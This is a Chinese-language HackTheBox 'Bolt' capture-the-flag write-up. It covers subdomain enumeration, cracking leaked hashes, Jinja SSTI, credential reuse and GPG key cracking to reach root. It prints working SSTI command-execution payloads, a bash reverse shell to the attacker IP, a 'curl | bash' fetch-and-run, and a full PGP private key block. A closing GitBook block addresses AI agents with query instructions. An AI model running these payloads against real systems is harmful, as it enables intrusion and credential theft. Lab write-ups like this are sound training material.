> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md).

# Bolt HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/384>" %}

{% hint style="warning" %}
**技能：**

* 信息泄露
* 子域枚举
* SSTI（服务器端模板注入）
* 利用 PassBolt
* 利用 GPG
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/757821c07394de47dae276b83f05318cb67c70f6" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/941ba9dfbf599a41500208667710081cc5fa68b3" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -Pn -n --min-rate 5000 -vvv 10.10.11.114 -oG allPorts
```

<figure><img src="/files/53ea5180f2cc47ead4e2b6bc9b068ebb83ca8636" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板（22,80,443）

<figure><img src="/files/d3df72cb366359086dde70223c037e45920ad0fa" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80,443 10.10.11.114 -oN targeted
```

<figure><img src="/files/1345b1aa9b0839f0e5a7f35ab0154b1210a3bffd" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/010163448a6b4b9d8d55ff4b06d9729d3c48c169" alt="" width="563"><figcaption></figcaption></figure>

### 80 端口

<figure><img src="/files/a87f9504449fad0ce8d39ffd67a25a9c769d6b6d" alt=""><figcaption></figcaption></figure>

我们尝试创建一个账户，但收到了“Internal Server Error”。

<figure><img src="/files/8419fa533be3d6893981431b8d1a0f4a43d773df" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3ab5ff4b1858849383d664996c5d02d051b4ae41" alt=""><figcaption></figcaption></figure>

**可能的用户列表：**

* Joseph Garth
* Bonnie Green
* Jose Leos

<figure><img src="/files/d16e77c27541f1037dbd2491e0cdbb63425ba3b3" alt=""><figcaption></figcaption></figure>

我们被提供下载一个 `.tar` Docker 镜像，其中包含一个用于启动项目的基础 Web 包，设计优雅。

<figure><img src="/files/679404d8179cf4d7750b5aaca39d75a2eb957830" alt=""><figcaption></figcaption></figure>

**目录搜索：**

我们使用以下命令进行目录搜索： `gobuster`:

```bash
gobuster dir -u http://bolt.htb  -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

没有发现有趣的内容。

<figure><img src="/files/72ec66bca75910c5e5d46d8ef28d969bf068d427" alt=""><figcaption></figcaption></figure>

**子域名搜索：**

我们使用以下命令搜索子域名： `gobuster`:

```bash
gobuster vhost -u http://bolt.htb  --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

发现的子域名：

* `demo.bolt.htb`
* `mail.bolt.htb`

<figure><img src="/files/6ca2c26240d4c9e36688dd3d31f85f97390bc77e" alt=""><figcaption></figcaption></figure>

我们把它们添加到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/a992bce906da0c8ad07bf8778e1b88afce1e0fc1" alt="" width="563"><figcaption></figcaption></figure>

**`http://mail.blolt.htb`**

<figure><img src="/files/d6f47002192894ae93c4b0f90d895ce8dc1bff55" alt="" width="563"><figcaption></figcaption></figure>

**`http://demo.bolt.htb:`**

<figure><img src="/files/eb2acc84a8fff378574a259dfd74cd9f178183fd" alt="" width="563"><figcaption></figcaption></figure>

### 信息泄露（image.tar）

我们在 Docker 文件中寻找敏感信息 `.tar` 其中包含带有文件的文件夹 `json`，文件 `layer.tar` 以及版本。

<figure><img src="/files/7efc89e1256594d50bc28220d5a4bfe1520a0eab" alt=""><figcaption></figcaption></figure>

**文件提取：**

我们从 `layer.tar` 中按如下方式提取文件：

```bash
mkdir extracted_layers
```

```bash
find . -name "layer.tar" -exec tar -xvf {} -C extracted_layers /;
```

<figure><img src="/files/a10c723628d699b7015fd83a3aee66f84f1a8328" alt=""><figcaption></figcaption></figure>

我们打开 `db.sqlite3` 数据库：

```sql
sqlite3 db.sqlite3 

.tables
从 user 中选择 *
```

我们找到一个用户 `admin` 以及一个哈希密码：

* `id`: 唯一用户标识符。
* `username`: 用户名（`admin` 在本例中）。
* `email`: 关联的电子邮件地址（`admin@bolt.htb`).
* `密码`: 哈希密码（`$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.`).

<figure><img src="/files/12552b27fd27c4c6d6f75c665bee3c9ae95087dd" alt="" width="468"><figcaption></figcaption></figure>

我们使用以下方式解密密码： `john`:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:deadbolt`

<figure><img src="/files/dd3386778e4b77709a2bde7bb1b01c26e732827e" alt="" width="563"><figcaption></figcaption></figure>

我们登录到管理面板，但除了它使用 Flask 之外，没有发现任何有趣的内容。

<figure><img src="/files/016212d5487a8473c1093b80dc99461f0b4f1679" alt=""><figcaption></figcaption></figure>

**查找邀请码：**

<figure><img src="/files/db8245e4d769d2640ebd3e200e147a07459a4493" alt="" width="529"><figcaption></figcaption></figure>

我们在提取的文件中寻找邀请码：

```bash
grep -ri "invite_code" .
```

<figure><img src="/files/0cc38a78b3b682b006b4aff42e49333a9596613e" alt=""><figcaption></figcaption></figure>

一个 Python 文件包含邀请码：

`XNSS-HSJW-3NGU-8XTJ`

<figure><img src="/files/c00349132976d34fbde1d42fb0ac6c91d5637381" alt=""><figcaption></figcaption></figure>

我们创建一个新用户账户 `jordan` 密码为 `Jordan1234`，然后我们获得了收件箱和管理面板 demo 的访问权限。

<figure><img src="/files/b4e80de973e94cb17476e8546cd867f1d2db1e0d" alt="" width="563"><figcaption></figcaption></figure>

* `用户：jordan`
* `密码：Jordan1234`

<figure><img src="/files/6f349253ff0d36c311832b1fac54132b25bd7fa3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/28345094932401c57a9613e08a0de842b74fe527" alt=""><figcaption></figcaption></figure>

## SSTI 漏洞：

查看配置时，我们注意到如果更改配置名称，就会发送确认邮件。这可能是一次 SSTI 攻击的机会。

<figure><img src="/files/b223eb90bb71de528c2f367a2f73848a8df86489" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b77875d3a5c0cc318cb30bf3b4b274ebcbce528f" alt=""><figcaption></figcaption></figure>

我们使用一个典型的 payload 进行测试：

```bash
{{ 9*9 }}
```

如果结果是 `81`，则应用程序存在漏洞。

<figure><img src="/files/811a4eaaf4948ca90dbd2c41d98084f5d0140092" alt=""><figcaption></figcaption></figure>

我们确认应用程序存在漏洞，并使用来自 `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

订单 ID：

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

<figure><img src="/files/b9ca73c9fd512d7604d9903a21b6bd9c6a1b20ff" alt=""><figcaption></figcaption></figure>

我们通过监听 443 端口成功执行了一个反向 Shell：

```bash
nc -nlvp 443
```

我们创建一个 `index.html` 用于执行反向 Shell 的文件，内容如下

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

然后我们使用 Python 启动一个 HTTP 服务器：

```bash
python3 -m http.server 80
```

我们使用以下方式发送 payload： `curl` 以检索并执行命令：

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}
```

<figure><img src="/files/23abd2d9561a1df927b27eb447ebea4c807e067e" alt=""><figcaption></figcaption></figure>

**终端稳定化：**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### 稳定 shell 以便更舒适地工作。 <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## 权限提升：

作为用户 `www-data`，我们正尝试提升权限以获得 root 访问权限。

### 使用 LinPEAS 进行初始枚举

你使用 LinPEAS 识别了系统中的潜在漏洞。

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases>" %}

执行的命令：

```bash
python3 -m http.server 555
```

```bash
wget http://10.10.14.3:555/linpeas.sh
```

<figure><img src="/files/f999f5161d8335c4f1241a2ee5348c293b903585" alt=""><figcaption></figcaption></figure>

LinPEAS 发现了一个包含敏感信息的配置文件：

`/etc/passbolt/passbolt.php`

* `主机：localhost`
* `端口：3306`
* `用户名：passbolt`
* `密码：rT2;jW7<eY8!dX8}pQ8%`
* `数据库：passboltdb`

<figure><img src="/files/7d67f2d521ddce81437898604ca272e60a2a997b" alt=""><figcaption></figcaption></figure>

### **连接到 MySQL 数据库**

使用这些信息连接到数据库：

```bash
mysql -h localhost -P 3306 -u passbolt -p 

rT2;jW7<eY8!dX8}pQ8%
```

#### **数据库表分析**

<figure><img src="/files/b9addf38caf786e30a15d4ececdf4164ab8f7884" alt=""><figcaption></figcaption></figure>

* **`users`**: 包含用户。

<table data-header-hidden data-full-width="true"><thead><tr><th width="125"></th><th width="112"></th><th width="124"></th><th width="101"></th><th width="109"></th><th width="110"></th><th></th></tr></thead><tbody><tr><td><code>id</code></td><td><code>role_id</code></td><td><code>username</code></td><td><code>主动</code></td><td><code>deleted</code></td><td><code>created</code></td><td><code>modified</code></td></tr><tr><td><code>4e184ee6-e436-47fb-91c9-dccb57f250bc</code></td><td><code>1cfcd300-0664-407e-85e6-c11664a7d86c</code></td><td><code>eddie@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:42:50</td><td>2021-02-25 21:55:06</td></tr><tr><td><code>9d8a0452-53dc-4640-b3a7-9a3d86b0ff90</code></td><td><code>975b9a56-b1b1-453c-9362-c238a85dad76</code></td><td><code>clark@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:40:29</td><td>2021-02-25 21:42:32</td></tr></tbody></table>

* **`secrets`**: 加密消息（之后可能可被利用）。

<figure><img src="/files/0911344ba9e7ad57878b0ea8eddf53534dc364d3" alt=""><figcaption></figcaption></figure>

* **`gpgkeys`**: 包含公钥（在某些场景下可使用）。

<figure><img src="/files/6dab817e700b1e2ebd428e1f47c1d1b4b074e5b4" alt=""><figcaption></figcaption></figure>

尝试连接到 `eddie`:

```bash
su eddie
```

* **密码**: `rT2;jW7<eY8!dX8}pQ8%`
* 获得对用户 `eddie` 的访问权限

### user.txt 标志 :)

<figure><img src="/files/fd0f64893e9ec4114ad1cbe928fb1c5cc00a53dd" alt="" width="563"><figcaption></figcaption></figure>

### 重用 LinPEAS（用户 eddie）

在获得对用户 `eddie`的访问权限后，我们重用 **LinPEAS** 来探索系统，寻找潜在的 SSH 密钥或其他有用线索。

<figure><img src="/files/a235d01542db6d398514ce3a45122b94e8471f81" alt=""><figcaption></figcaption></figure>

**找到文件**：包含潜在 SSH 密钥的日志文件：

`/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`

<figure><img src="/files/038db1c8514890c35e2711f525623b2a8024e8d1" alt=""><figcaption></figcaption></figure>

### 使用 GPG 解密消息

**GPG 私钥**：我们使用 **GPG** 工具来导入私钥并尝试解密中的加密消息 `secrets` 表中的 `passboltdb` 数据库。

```
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
```

#### 提取私钥哈希

要能够使用私钥，我们必须首先获取它的 **哈希**。我们使用 **gpg2john** 工具来提取私钥哈希：

```bash
gpg2john private.key > hash
```

<figure><img src="/files/935a6ebcc33cd33b9c5f58fd9cbcbbf0dce153d0" alt=""><figcaption></figcaption></figure>

**使用 `john`**

我们使用 **John the Ripper** 以执行字典攻击并发现私钥密码。我们使用以下字典： **rockyou.txt** 用于此：

```bash
john -wordlist=/usr/share/wordlists/rockyou.txt hash
```

**找到密码**: `merrychristmas`

<figure><img src="/files/2b531bf9a9b5cf3f4bbcd716670e334f23159082" alt=""><figcaption></figcaption></figure>

#### 导入私钥并解密消息

我们使用 **gpg**

```bash
gpg --import private.key
```

<figure><img src="/files/5c5fae03405ce3948f9d09d2fa8f409160f55813" alt=""><figcaption></figcaption></figure>

然后，我们解密加密消息（可能包含在 `message.txt` 从 `secrets` 数据库中取回的文件中）：

```bash
gpg --decrypt message.txt
```

**找到 root 密码**: `Z(2rmxsNW(Z?3=p/9s`

<figure><img src="/files/9049df322297d1edaaf0f7789060b8f993f65576" alt=""><figcaption></figcaption></figure>

### root.txt 标志

<figure><img src="/files/3c4defb6deead04d1d98feb640e6941b5ac71f5d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/bc4b926788ce6e361df47a986e43190a888e5f5d" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
